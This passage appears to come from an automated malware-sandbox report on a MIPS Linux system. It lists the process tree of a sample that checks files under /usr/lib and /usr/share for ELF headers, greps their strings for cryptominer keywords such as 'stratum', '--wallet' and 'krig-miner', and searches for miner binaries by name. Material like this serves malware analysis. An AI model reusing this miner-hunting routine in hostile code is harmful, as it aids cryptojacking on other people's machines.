  2⤵
  PID:1537
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libm.a
  2⤵
  PID:1541
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libm.a
  2⤵
  PID:1543
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1545
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libm.a
  2⤵
  PID:1544
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libcurl-gnutls.so.4.4.0
  2⤵
  PID:1547
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libcurl-gnutls.so.4.4.0
  2⤵
  PID:1549
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1551
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libcurl-gnutls.so.4.4.0
  2⤵
  PID:1550
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1554
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1553
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libcurl-gnutls.so.4.4.0
  2⤵
  PID:1552
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libgmp.so.10.3.2
  2⤵
  - System Network Configuration Discovery
  PID:1556
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libgmp.so.10.3.2
  2⤵
  - System Network Configuration Discovery
  PID:1558
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1560
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libgmp.so.10.3.2
  2⤵
  - System Network Configuration Discovery
  PID:1559
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1563
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1562
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libgmp.so.10.3.2
  2⤵
  - System Network Configuration Discovery
  PID:1561
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libicuuc.so.57.1
  2⤵
  PID:1565
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libicuuc.so.57.1
  2⤵
  PID:1567
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1569
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libicuuc.so.57.1
  2⤵
  PID:1568
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1572
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1571
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libicuuc.so.57.1
  2⤵
  - System Network Configuration Discovery
  PID:1570
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/numpy/core/umath.cpython-35m-mipsel-linux-gnu.so
  2⤵
  - Reads runtime system information
  PID:1574
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/numpy/core/umath.cpython-35m-mipsel-linux-gnu.so
  2⤵
  PID:1576
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1578
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/numpy/core/umath.cpython-35m-mipsel-linux-gnu.so
  2⤵
  PID:1577
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1581
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1580
- /usr/bin/strings
  strings /usr/lib/python3/dist-packages/numpy/core/umath.cpython-35m-mipsel-linux-gnu.so
  2⤵
  PID:1579
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/numpy/core/multiarray.cpython-35m-mipsel-linux-gnu.so
  2⤵
  PID:1583
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/numpy/core/multiarray.cpython-35m-mipsel-linux-gnu.so
  2⤵
  - System Network Configuration Discovery
  PID:1585
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1587
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/numpy/core/multiarray.cpython-35m-mipsel-linux-gnu.so
  2⤵
  PID:1586
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1590
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1589
- /usr/bin/strings
  strings /usr/lib/python3/dist-packages/numpy/core/multiarray.cpython-35m-mipsel-linux-gnu.so
  2⤵
  - System Network Configuration Discovery
  PID:1588
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/numpy/random/mtrand.cpython-35m-mipsel-linux-gnu.so
  2⤵
  PID:1592
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/numpy/random/mtrand.cpython-35m-mipsel-linux-gnu.so
  2⤵
  PID:1594
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1596
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/numpy/random/mtrand.cpython-35m-mipsel-linux-gnu.so
  2⤵
  - System Network Configuration Discovery
  PID:1595
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1599
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1598
- /usr/bin/strings
  strings /usr/lib/python3/dist-packages/numpy/random/mtrand.cpython-35m-mipsel-linux-gnu.so
  2⤵
  PID:1597
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/setools/policyrep/_qpol.cpython-35m-mipsel-linux-gnu.so
  2⤵
  - System Network Configuration Discovery
  PID:1601
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/setools/policyrep/_qpol.cpython-35m-mipsel-linux-gnu.so
  2⤵
  PID:1603
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1605
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/setools/policyrep/_qpol.cpython-35m-mipsel-linux-gnu.so
  2⤵
  - System Network Configuration Discovery
  PID:1604
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1607
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1608
- /usr/bin/strings
  strings /usr/lib/python3/dist-packages/setools/policyrep/_qpol.cpython-35m-mipsel-linux-gnu.so
  2⤵
  - System Network Configuration Discovery
  PID:1606
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/scipy/stats/tests/data/nist_anova/SmLs06.dat
  2⤵
  PID:1610
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/scipy/stats/tests/data/nist_anova/SmLs06.dat
  2⤵
  PID:1612
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1614
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/scipy/stats/tests/data/nist_anova/SmLs06.dat
  2⤵
  - System Network Configuration Discovery
  PID:1613
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/scipy/stats/tests/data/nist_anova/SmLs09.dat
  2⤵
  - Reads runtime system information
  PID:1616
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/scipy/stats/tests/data/nist_anova/SmLs09.dat
  2⤵
  PID:1618
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1620
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/scipy/stats/tests/data/nist_anova/SmLs09.dat
  2⤵
  - System Network Configuration Discovery
  PID:1619
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/scipy/misc/ascent.dat
  2⤵
  PID:1622
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/scipy/misc/ascent.dat
  2⤵
  PID:1624
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1626
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/scipy/misc/ascent.dat
  2⤵
  PID:1625
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/scipy/misc/face.dat
  2⤵
  PID:1628
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/scipy/misc/face.dat
  2⤵
  PID:1630
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1632
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/scipy/misc/face.dat
  2⤵
  PID:1631
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/scipy/special/specfun.cpython-35m-mipsel-linux-gnu.so
  2⤵
  PID:1634
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/scipy/special/specfun.cpython-35m-mipsel-linux-gnu.so
  2⤵
  - System Network Configuration Discovery
  PID:1636
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1638
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/scipy/special/specfun.cpython-35m-mipsel-linux-gnu.so
  2⤵
  PID:1637
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1641
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1640
- /usr/bin/strings
  strings /usr/lib/python3/dist-packages/scipy/special/specfun.cpython-35m-mipsel-linux-gnu.so
  2⤵
  - System Network Configuration Discovery
  PID:1639
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/scipy/special/_ufuncs.cpython-35m-mipsel-linux-gnu.so
  2⤵
  - Reads runtime system information
  PID:1643
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/scipy/special/_ufuncs.cpython-35m-mipsel-linux-gnu.so
  2⤵
  PID:1645
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1647
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/scipy/special/_ufuncs.cpython-35m-mipsel-linux-gnu.so
  2⤵
  PID:1646
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1650
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1649
- /usr/bin/strings
  strings /usr/lib/python3/dist-packages/scipy/special/_ufuncs.cpython-35m-mipsel-linux-gnu.so
  2⤵
  PID:1648
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/scipy/special/tests/data/boost.npz
  2⤵
  PID:1652
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/scipy/special/tests/data/boost.npz
  2⤵
  PID:1654
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1656
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/scipy/special/tests/data/boost.npz
  2⤵
  PID:1655
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/scipy/linalg/cython_lapack.cpython-35m-mipsel-linux-gnu.so
  2⤵
  - Reads runtime system information
  PID:1658
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/scipy/linalg/cython_lapack.cpython-35m-mipsel-linux-gnu.so
  2⤵
  - System Network Configuration Discovery
  PID:1660
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1662
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/scipy/linalg/cython_lapack.cpython-35m-mipsel-linux-gnu.so
  2⤵
  PID:1661
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1665
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1664
- /usr/bin/strings
  strings /usr/lib/python3/dist-packages/scipy/linalg/cython_lapack.cpython-35m-mipsel-linux-gnu.so
  2⤵
  PID:1663
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/scipy/linalg/_flapack.cpython-35m-mipsel-linux-gnu.so
  2⤵
  PID:1667
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/scipy/linalg/_flapack.cpython-35m-mipsel-linux-gnu.so
  2⤵
  PID:1669
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1671
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/scipy/linalg/_flapack.cpython-35m-mipsel-linux-gnu.so
  2⤵
  PID:1670
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1674
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1673
- /usr/bin/strings
  strings /usr/lib/python3/dist-packages/scipy/linalg/_flapack.cpython-35m-mipsel-linux-gnu.so
  2⤵
  - System Network Configuration Discovery
  PID:1672
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/scipy/sparse/linalg/eigen/arpack/_arpack.cpython-35m-mipsel-linux-gnu.so
  2⤵
  - Reads runtime system information
  PID:1676
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/scipy/sparse/linalg/eigen/arpack/_arpack.cpython-35m-mipsel-linux-gnu.so
  2⤵
  PID:1678
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1680
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/scipy/sparse/linalg/eigen/arpack/_arpack.cpython-35m-mipsel-linux-gnu.so
  2⤵
  PID:1679
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1683
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1682
- /usr/bin/strings
  strings /usr/lib/python3/dist-packages/scipy/sparse/linalg/eigen/arpack/_arpack.cpython-35m-mipsel-linux-gnu.so
  2⤵
  PID:1681
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/scipy/sparse/_sparsetools.cpython-35m-mipsel-linux-gnu.so
  2⤵
  PID:1685
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/scipy/sparse/_sparsetools.cpython-35m-mipsel-linux-gnu.so
  2⤵
  PID:1687
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1689
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/scipy/sparse/_sparsetools.cpython-35m-mipsel-linux-gnu.so
  2⤵
  PID:1688
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1691
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1692
- /usr/bin/strings
  strings /usr/lib/python3/dist-packages/scipy/sparse/_sparsetools.cpython-35m-mipsel-linux-gnu.so
  2⤵
  - System Network Configuration Discovery
  PID:1690
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/scipy/spatial/ckdtree.cpython-35m-mipsel-linux-gnu.so
  2⤵
  - System Network Configuration Discovery
  PID:1694
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/scipy/spatial/ckdtree.cpython-35m-mipsel-linux-gnu.so
  2⤵
  PID:1696
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1698
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/scipy/spatial/ckdtree.cpython-35m-mipsel-linux-gnu.so
  2⤵
  PID:1697
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1700
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1701
- /usr/bin/strings
  strings /usr/lib/python3/dist-packages/scipy/spatial/ckdtree.cpython-35m-mipsel-linux-gnu.so
  2⤵
  PID:1699
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/scipy/spatial/qhull.cpython-35m-mipsel-linux-gnu.so
  2⤵
  - System Network Configuration Discovery
  PID:1703
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/scipy/spatial/qhull.cpython-35m-mipsel-linux-gnu.so
  2⤵
  PID:1705
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1707
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/scipy/spatial/qhull.cpython-35m-mipsel-linux-gnu.so
  2⤵
  PID:1706
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1710
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1709
- /usr/bin/strings
  strings /usr/lib/python3/dist-packages/scipy/spatial/qhull.cpython-35m-mipsel-linux-gnu.so
  2⤵
  PID:1708
- /usr/bin/head
  head -1
  2⤵
  PID:1714
- /usr/bin/find
  find /usr/share -type f -name pearl-gpu-miner -size +500k
  2⤵
  - Reads runtime system information
  PID:1713
- /usr/bin/head
  head -1
  2⤵
  PID:1717
- /usr/bin/find
  find /usr/share -type f -name glint -size +500k
  2⤵
  PID:1716
- /usr/bin/head
  head -1
  2⤵
  PID:1720
- /usr/bin/find
  find /usr/share -type f -name miner2 -size +500k
  2⤵
  PID:1719
- /usr/bin/find
  find /usr/share -type f -name krig-miner -size +500k
  2⤵
  PID:1722
- /usr/bin/head
  head -1
  2⤵
  PID:1723
- /usr/bin/head
  head -1
  2⤵
  PID:1726
- /usr/bin/find
  find /usr/share -type f -name pearl -size +500k
  2⤵
  PID:1725
- /usr/bin/head
  head -1
  2⤵
  PID:1729
- /usr/bin/find
  find /usr/share -type f -name nvidia-persistenced -size +500k
  2⤵
  PID:1728
- /usr/bin/head
  head -100
  2⤵
  PID:1732
- /usr/bin/find
  find /usr/share -type f -size +500k
  2⤵
  PID:1731
- /usr/bin/stat
  stat "-c%s" /usr/share/i18n/locales/iso14651_t1_pinyin
  2⤵
  PID:1734
- /usr/bin/basename
  basename /usr/share/i18n/locales/iso14651_t1_pinyin
  2⤵
  PID:1736
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1738
- /usr/bin/head
  head -c 4 /usr/share/i18n/locales/iso14651_t1_pinyin
  2⤵
  PID:1737
- /usr/bin/stat
  stat "-c%s" /usr/share/i18n/locales/translit_hangul
  2⤵
  PID:1740
- /usr/bin/basename
  basename /usr/share/i18n/locales/translit_hangul
  2⤵
  PID:1742
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1744
- /usr/bin/head
  head -c 4 /usr/share/i18n/locales/translit_hangul
  2⤵
  PID:1743
- /usr/bin/stat
  stat "-c%s" /usr/share/i18n/charmaps/GB18030.gz
  2⤵
  PID:1746
- /usr/bin/basename
  basename /usr/share/i18n/charmaps/GB18030.gz
  2⤵
  PID:1748
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1750
- /usr/bin/head
  head -c 4 /usr/share/i18n/charmaps/GB18030.gz
  2⤵
  PID:1749
- /usr/bin/stat
  stat "-c%s" /usr/share/misc/pci.ids
  2⤵
  - Reads runtime system information
  PID:1752
- /usr/bin/basename
  basename /usr/share/misc/pci.ids
  2⤵
  PID:1754
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1756
- /usr/bin/head
  head -c 4 /usr/share/misc/pci.ids
  2⤵
  PID:1755
- /usr/bin/stat
  stat "-c%s" /usr/share/fonts-droid-fallback/truetype/DroidSansFallback.ttf
  2⤵
  PID:1758
- /usr/bin/basename
  basename /usr/share/fonts-droid-fallback/truetype/DroidSansFallback.ttf
  2⤵
  PID:1760
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1762
- /usr/bin/head
  head -c 4 /usr/share/fonts-droid-fallback/truetype/DroidSansFallback.ttf
  2⤵
  PID:1761
- /usr/bin/stat
  stat "-c%s" /usr/share/locale/uk/LC_MESSAGES/gas.mo
  2⤵
  - Reads runtime system information
  PID:1764
- /usr/bin/basename
  basename /usr/share/locale/uk/LC_MESSAGES/gas.mo
  2⤵
  PID:1766
- /usr/bin/head
  head -c 4 /usr/share/locale/uk/LC_MESSAGES/gas.mo
  2⤵
  PID:1767
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1768
- /usr/bin/stat
  stat "-c%s" /usr/share/locale/uk/LC_MESSAGES/util-linux.mo
  2⤵
  PID:1770
- /usr/bin/basename
  basename /usr/share/locale/uk/LC_MESSAGES/util-linux.mo
  2⤵
  PID:1772
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1774
- /usr/bin/head
  head -c 4 /usr/share/locale/uk/LC_MESSAGES/util-linux.mo
  2⤵
  PID:1773
- /usr/bin/stat
  stat "-c%s" /usr/share/X11/locale/en_US.UTF-8/Compose
  2⤵
  - Reads runtime system information
  PID:1776
- /usr/bin/basename
  basename /usr/share/X11/locale/en_US.UTF-8/Compose
  2⤵
  PID:1778
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1780
- /usr/bin/head
  head -c 4 /usr/share/X11/locale/en_US.UTF-8/Compose
  2⤵
  PID:1779
- /usr/bin/stat
  stat "-c%s" /usr/share/mime/packages/freedesktop.org.xml
  2⤵
  PID:1782
- /usr/bin/basename
  basename /usr/share/mime/packages/freedesktop.org.xml
  2⤵
  PID:1784
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1786
- /usr/bin/head
  head -c 4 /usr/share/mime/packages/freedesktop.org.xml
  2⤵
  PID:1785
- /usr/bin/stat
  stat "-c%s" /usr/share/libthai/thbrk.tri
  2⤵
  PID:1788
- /usr/bin/basename
  basename /usr/share/libthai/thbrk.tri
  2⤵
  PID:1790
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1792
- /usr/bin/head
  head -c 4 /usr/share/libthai/thbrk.tri
  2⤵
  PID:1791
- /usr/bin/stat
  stat "-c%s" /usr/share/selinux/devel/include/kernel/corenetwork.if
  2⤵
  - Reads runtime system information
  PID:1794
- /usr/bin/basename
  basename /usr/share/selinux/devel/include/kernel/corenetwork.if
  2⤵
  PID:1796
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1798
- /usr/bin/head
  head -c 4 /usr/share/selinux/devel/include/kernel/corenetwork.if
  2⤵
  PID:1797
- /usr/bin/stat
  stat "-c%s" /usr/share/selinux/devel/include/contrib.xml
  2⤵
  PID:1800
- /usr/bin/basename
  basename /usr/share/selinux/devel/include/contrib.xml
  2⤵
  PID:1802
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1804
- /usr/bin/head
  head -c 4 /usr/share/selinux/devel/include/contrib.xml
  2⤵
  PID:1803
- /usr/bin/stat
  stat "-c%s" /usr/share/selinux/devel/include/kernel.xml
  2⤵
  PID:1806
- /usr/bin/basename
  basename /usr/share/selinux/devel/include/kernel.xml
  2⤵
  PID:1808
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1810
- /usr/bin/head
  head -c 4 /usr/share/selinux/devel/include/kernel.xml
  2⤵
  PID:1809
- /usr/bin/stat
  stat "-c%s" /usr/share/selinux/devel/policy.xml
  2⤵
  PID:1812
- /usr/bin/basename
  basename /usr/share/selinux/devel/policy.xml
  2⤵
  PID:1814
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1816
- /usr/bin/head
  head -c 4 /usr/share/selinux/devel/policy.xml
  2⤵
  PID:1815
- /usr/bin/stat
  stat "-c%s" /usr/share/fonts/truetype/dejavu/DejaVuSans.ttf
  2⤵
  PID:1818
- /usr/bin/basename
  basename /usr/share/fonts/truetype/dejavu/DejaVuSans.ttf
  2⤵
  PID:1820
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1822
- /usr/bin/head
  head -c 4 /usr/share/fonts/truetype/dejavu/DejaVuSans.ttf
  2⤵
  PID:1821
- /usr/bin/stat
  stat "-c%s" /usr/share/fonts/truetype/dejavu/DejaVuSans-Bold.ttf
  2⤵
  PID:1824
- /usr/bin/basename
  basename /usr/share/fonts/truetype/dejavu/DejaVuSans-Bold.ttf
  2⤵
  PID:1826
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1828
- /usr/bin/head
  head -c 4 /usr/share/fonts/truetype/dejavu/DejaVuSans-Bold.ttf
  2⤵
  PID:1827
- /usr/bin/stat
  stat "-c%s" /usr/share/fonts/truetype/droid/DroidSansFallbackFull.ttf
  2⤵
  PID:1830
- /usr/bin/basename
  basename /usr/share/fonts/truetype/droid/DroidSansFallbackFull.ttf
  2⤵
  PID:1832
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1834
- /usr/bin/head
  head -c 4 /usr/share/fonts/truetype/droid/DroidSansFallbackFull.ttf
  2⤵
  PID:1833
- /usr/bin/stat
  stat "-c%s" /usr/share/doc/libdpkg-perl/changelog.gz
  2⤵
  - Reads runtime system information
  PID:1836
- /usr/bin/basename
  basename /usr/share/doc/libdpkg-perl/changelog.gz
  2⤵
  PID:1838
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1840
- /usr/bin/head
  head -c 4 /usr/share/doc/libdpkg-perl/changelog.gz
  2⤵
  PID:1839
- /usr/bin/stat
  stat "-c%s" /usr/share/doc/libglib2.0-0/changelog.gz
  2⤵
  PID:1842
- /usr/bin/basename
  basename /usr/share/doc/libglib2.0-0/changelog.gz
  2⤵
  PID:1844
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1846
- /usr/bin/head
  head -c 4 /usr/share/doc/libglib2.0-0/changelog.gz
  2⤵
  PID:1845
- /usr/bin/stat
  stat "-c%s" /usr/share/doc/linux-headers-4.9.0-13-common/changelog.Debian.gz
  2⤵
  - Reads runtime system information
  PID:1848
- /usr/bin/basename
  basename /usr/share/doc/linux-headers-4.9.0-13-common/changelog.Debian.gz
  2⤵
  PID:1850
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1852
- /usr/bin/head
  head -c 4 /usr/share/doc/linux-headers-4.9.0-13-common/changelog.Debian.gz
  2⤵
  PID:1851
- /usr/bin/stat
  stat "-c%s" /usr/share/doc/dpkg-dev/changelog.gz
  2⤵
  PID:1854
- /usr/bin/basename
  basename /usr/share/doc/dpkg-dev/changelog.gz
  2⤵
  PID:1856
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1858
- /usr/bin/head
  head -c 4 /usr/share/doc/dpkg-dev/changelog.gz
  2⤵
  PID:1857
- /usr/bin/stat
  stat "-c%s" /usr/share/doc/linux-kbuild-4.9/changelog.Debian.gz
  2⤵
  - Reads runtime system information
  PID:1860
- /usr/bin/basename
  basename /usr/share/doc/linux-kbuild-4.9/changelog.Debian.gz
  2⤵
  PID:1862
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1864
- /usr/bin/head
  head -c 4 /usr/share/doc/linux-kbuild-4.9/changelog.Debian.gz
  2⤵
  PID:1863
- /usr/bin/stat
  stat "-c%s" /usr/share/doc/libglib2.0-data/changelog.gz
  2⤵
  PID:1866
- /usr/bin/basename
  basename /usr/share/doc/libglib2.0-data/changelog.gz
  2⤵
  PID:1868
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1870
- /usr/bin/head
  head -c 4 /usr/share/doc/libglib2.0-data/changelog.gz
  2⤵
  PID:1869
- /usr/bin/stat
  stat "-c%s" /usr/share/doc/linux-image-4.9.0-13-4kc-malta/changelog.Debian.gz
  2⤵
  - Reads runtime system information
  PID:1872
- /usr/bin/basename
  basename /usr/share/doc/linux-image-4.9.0-13-4kc-malta/changelog.Debian.gz
  2⤵
  PID:1874
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1876
- /usr/bin/head
  head -c 4 /usr/share/doc/linux-image-4.9.0-13-4kc-malta/changelog.Debian.gz
  2⤵
  PID:1875
- /usr/bin/stat
  stat "-c%s" /usr/share/doc/nodejs/api/all.html
  2⤵
  PID:1878
- /usr/bin/basename
  basename /usr/share/doc/nodejs/api/all.html
  2⤵
  PID:1880
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1882
- /usr/bin/head
  head -c 4 /usr/share/doc/nodejs/api/all.html
  2⤵
  PID:1881
- /usr/bin/stat
  stat "-c%s" /usr/share/doc/linux-libc-dev/changelog.Debian.gz
  2⤵
  PID:1884
- /usr/bin/basename
  basename /usr/share/doc/linux-libc-dev/changelog.Debian.gz
  2⤵
  PID:1886
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1888
- /usr/bin/head
  head -c 4 /usr/share/doc/linux-libc-dev/changelog.Debian.gz
  2⤵
  PID:1887
- /usr/bin/stat
  stat "-c%s" /usr/share/doc/dpkg/changelog.gz
  2⤵
  PID:1890
- /usr/bin/basename
  basename /usr/share/doc/dpkg/changelog.gz
  2⤵
  PID:1892
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1894
- /usr/bin/head
  head -c 4 /usr/share/doc/dpkg/changelog.gz
  2⤵
  PID:1893
- /usr/bin/stat
  stat "-c%s" /usr/share/perl/5.24.1/Locale/Codes/Language_Codes.pm
  2⤵
  PID:1896
- /usr/bin/basename
  basename /usr/share/perl/5.24.1/Locale/Codes/Language_Codes.pm
  2⤵
  PID:1898
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1900
- /usr/bin/head
  head -c 4 /usr/share/perl/5.24.1/Locale/Codes/Language_Codes.pm
  2⤵
  PID:1899
- /usr/bin/stat
  stat "-c%s" /usr/share/perl/5.24.1/Unicode/Collate/allkeys.txt
  2⤵
  PID:1902
- /usr/bin/basename
  basename /usr/share/perl/5.24.1/Unicode/Collate/allkeys.txt
  2⤵
  PID:1904
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1906
- /usr/bin/head
  head -c 4 /usr/share/perl/5.24.1/Unicode/Collate/allkeys.txt
  2⤵
  PID:1905
- /usr/bin/stat
  stat "-c%s" /usr/share/perl/5.24.1/unicore/Name.pl
  2⤵
  PID:1908
- /usr/bin/basename
  basename /usr/share/perl/5.24.1/unicore/Name.pl
  2⤵
  PID:1910
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1912
- /usr/bin/head
  head -c 4 /usr/share/perl/5.24.1/unicore/Name.pl
  2⤵
  PID:1911
- /usr/bin/stat
  stat "-c%s" /usr/share/perl/5.24.1/Module/CoreList.pm
  2⤵
  PID:1914
- /usr/bin/basename
  basename /usr/share/perl/5.24.1/Module/CoreList.pm
  2⤵
  PID:1916
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1918
- /usr/bin/head
  head -c 4 /usr/share/perl/5.24.1/Module/CoreList.pm
  2⤵
